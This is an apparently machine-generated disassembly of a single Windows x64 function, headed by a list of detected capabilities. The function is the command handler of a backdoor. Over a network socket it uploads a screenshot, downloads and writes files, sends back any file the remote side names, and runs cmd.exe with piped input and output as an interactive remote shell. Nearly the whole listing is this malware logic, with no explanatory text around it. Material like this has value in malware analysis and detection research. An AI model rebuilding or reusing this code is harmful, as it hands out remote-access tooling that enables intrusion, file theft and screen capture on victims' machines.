Function at 0x1400014a0
Capabilities:
Create pipe
Create process on windows
Download and write a file
Get common file path
Get comspec environment variable
Query environment variable
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set current directory
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1790]
mov eax, 0x1890
call fcn.140004070
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x1780], rax
movzx esi, dl
mov r13, rcx
xor edi, edi
mov ebx, edi
mov dword [rsp + 0x78], ebx
cmp dword [r8], edi
jne 0x140001699
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], send
mov byte [rbp + 0x28], bl
lea rax, [rbp + 0x270]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], bl
jne 0x140001540
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x28]
call fcn.140002f00
nop
lea rbx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
setae r12b
mov r15, qword [rbp + 0x28]
cmovae rbx, r15
mov r14, qword [rbp + 0x38]
test r14, r14
je 0x1400015ff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xc8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xcd]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0xcc], 1
lea rax, [r14 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x70], 0
jne 0x1400015fa
cmp rcx, rbx
je 0x1400015ff
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x70], 0
je 0x1400015e8
sub rcx, rbx
jmp 0x140001606
mov rcx, 0xffffffffffffffff
cmp r14, rcx
jb 0x140002187
mov qword [rbp + 0x38], rcx
lea rax, [rbp + 0x28]
test r12b, r12b
cmovne rax, r15
mov byte [rax + rcx], 0
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140001640
lea rcx, [0x140007048]
call fcn.140002f00
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001695
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov ebx, dword [rsp + 0x78]
cmp sil, 0x31
jne 0x14000179c
call fcn.140001260
lea rdx, [0x140005528]
lea rcx, str.screenshot.png
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x1400016d8
lea rcx, str.open_file_failed_n
call fcn.140001040
lea eax, [rbx + 1]
jmp 0x140002151
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rbp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140002148
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp + 0x20], 0
jle 0x14000177d
nop dword [rax + rax]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000177d
add edi, eax
cmp dword [rbp + 0x20], edi
jg 0x140001740
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.send_picture_success_n
call fcn.140001040
mov eax, 1
jmp 0x140002151
cmp sil, 0x32
jne 0x1400018ab
mov dword [rsp + 0x78], 0xffffffff
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x78]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x78]
lea rcx, [0x140005588]
call fcn.140001040
movsxd rcx, dword [rsp + 0x78]
call fcn.1400034d4
mov r14, rax
xor r9d, r9d
mov r8d, dword [rsp + 0x78]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rdx, r14
lea rcx, [0x140005570]
call fcn.140001040
mov dword [rbp + 0x20], 0xffffffff
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rbp + 0x20]
lea rcx, str.fileSize___d_n
call fcn.140001040
cmp dword [rbp + 0x20], 0xffffffff
je 0x140002148
lea rdx, [0x14000550c]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
cmp dword [rbp + 0x20], 0
jle 0x140001890
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x140001890
mov r8, rbx
mov r9, rsi
mov edx, 1
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add edi, ebx
cmp edi, dword [rbp + 0x20]
jl 0x140001850
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call fcn.140003240
mov eax, 1
jmp 0x140002151
cmp sil, 0x33
jne 0x140001a1e
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
lea rdx, [rbp + 0x70]
lea rbx, [0x1400055a0]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140001900
cmp rcx, 5
jne 0x1400018e0
lea eax, [rcx - 4]
jmp 0x140002151
lea rdx, [0x140005528]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001979
mov dword [rbp + 0x48], 0xfffffffe
lea rcx, str.file_path_fail_n
call fcn.140001040
xor r9d, r9d
lea r8d, [rsi + 4]
lea rdx, [rbp + 0x48]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rdi
lea rdx, [rbp + 0x70]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140001900
cmp rcx, 5
je 0x140002148
jmp 0x140001960
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rbp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x20]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp + 0x20], 0
jle 0x140001a0b
mov r9, rsi
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x380]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbx, rax
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
add edi, ebx
cmp edi, dword [rbp + 0x20]
jl 0x1400019d0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 1
jmp 0x140002151
cmp sil, 0x35
jne 0x14000214f
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0x18
mov qword [rbp - 0x60], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
mov qword [rbp - 0x68], rdi
xor r9d, r9d
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], di
mov rax, qword [rbp - 0x78]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov dword [rsp + 0x50], edi
nop word [rax + rax]
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x270]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbp + 0x270]
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp byte [rcx + rax], 0
jne 0x140001af5
lea r8d, [rax + 1]
xor r9d, r9d
lea rdx, [rbp + 0x270]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x380]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
inc eax
cmp eax, 1
jbe 0x140001ab0
mov r8d, 0x200
lea rdx, [rbp + 0x70]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140001b92
mov edx, 0x200
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140001b70
mov edx, 0x200
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x380]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001ba0
test eax, eax
je 0x140001c12
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001bc0
mov edx, 0x200
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001bf0
mov edx, 0x200
sub rdx, rax
lea r8, [rbp + 0x380]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rdx, [rbp + 0x70]
lea rcx, [0x140005570]
call fcn.140001040
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], send
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x380]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001c44
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x28]
call fcn.140002f00
nop
mov rax, qword [rbp + 0x38]
lea r8, [rax - 1]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], send
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.140002f00
or ebx, 1
mov dword [rsp + 0x78], ebx
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001cdb
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002103
call fcn.140003240
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x28], xmm1
movups xmm2, xmmword [rsp + 0x68]
movups xmmword [rbp + 0x38], xmm2
lea rsi, [rbp + 0x28]
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
setae r12b
movq r15, xmm1
cmovae rsi, r15
movq r14, xmm2
cmp r14, 2
jb 0x140001d70
lea rbx, [r14 + rsi]
lea r8, [rbx - 1]
sub r8, rsi
mov edx, 0x63
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001d6c
cmp byte [rax], 0x63
jne 0x140001d47
cmp byte [rax + 1], 0x64
jne 0x140001d47
mov ecx, edi
jmp 0x140001d4c
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140001db9
inc rax
lea r8, [rbx - 1]
sub r8, rax
mov edx, 0x63
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001d38
mov ebx, dword [rsp + 0x78]
mov rax, 0xffffffffffffffff
cmp rax, 0xffffffffffffffff
je 0x140001eef
lea rbx, [rbp + 0x28]
test r12b, r12b
cmovne rbx, r15
cmp r14, 1
jb 0x140001dea
lea rsi, [r14 + rbx]
mov r8, rsi
sub r8, rbx
mov edx, 0x20
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001dea
nop
cmp byte [rax], 0x20
jne 0x140001dc2
mov ecx, edi
jmp 0x140001dc7
sub rax, rsi
mov ebx, dword [rsp + 0x78]
jmp 0x140001d77
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140001ee7
inc rax
mov r8, rsi
sub r8, rax
mov edx, 0x20
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001db0
mov rax, 0xffffffffffffffff
lea rcx, [rax + 1]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], send
cmp r14, rcx
jb 0x140002181
sub r14, rcx
mov r8, 0xffffffffffffffff
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp + 0x28]
test r12b, r12b
cmovne rdx, r15
add rdx, rcx
lea rcx, [rsp + 0x58]
call fcn.140002f00
mov ebx, dword [rsp + 0x78]
or ebx, 2
mov dword [rsp + 0x78], ebx
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001e80
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002103
call fcn.140003240
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbp + 0x38], xmm1
lea rcx, [rbp + 0x28]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x140001eda
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8d, eax
lea rcx, str.SetCurrentDirectory_fail___dir:_s_errorNum:_d_n
call fcn.140001040
mov r14d, 1
mov dword [rsp + 0x50], r14d
jmp 0x140001ef4
sub rax, rbx
jmp 0x140001df1
mov r14d, dword [rsp + 0x50]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001f37
jmp 0x1400020c3
lea rdx, str.exit_n
lea rcx, [rbp + 0x380]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000210a
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x780]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x48], edi
mov dword [rbp + 0x20], edi
mov esi, edi
nop
mov qword [rsp + 0x28], rdi
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x14000205d
cmp dword [rbp + 0x48], 0
jbe 0x14000205d
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x20]
mov r8d, 0x1000
lea rdx, [rbp + 0x780]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002067
mov edx, dword [rbp + 0x20]
test edx, edx
je 0x140002067
mov ebx, edi
lea rcx, [0x140005588]
call fcn.140001040
mov r14d, 1
mov ecx, dword [rbp + 0x20]
nop dword [rax + rax]
movsxd rax, ebx
lea rdx, [rbp + 0x780]
add rdx, rax
xor r9d, r9d
mov r8d, ecx
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
lea ecx, [rax + 1]
cmp ecx, r14d
jbe 0x140002067
add ebx, eax
sub dword [rbp + 0x20], eax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [rbp + 0x20]
test ecx, ecx
jne 0x140002010
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x140001f90
test r14d, r14d
jne 0x140002079
cmp esi, 5
je 0x14000207e
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x140001f90
cmp esi, 3
je 0x14000208d
mov r8d, 3
lea rdx, [0x1400055f0]
jmp 0x14000209a
mov r8d, 5
lea rdx, str.noIO
xor r9d, r9d
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x50], edi
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x780]
call sub.VCRUNTIME140.dll_memset
nop
mov ebx, dword [rsp + 0x78]
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140001ab0
inc rdx
mov rcx, qword [rbp + 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400020f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000213c
call fcn.140003240
jmp 0x140001ab0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140002148
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002143
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002143
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003240
mov eax, 1
jmp 0x140002151
xor eax, eax
mov rcx, qword [rbp + 0x1780]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x1890]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003060
nop
call fcn.140003060
int3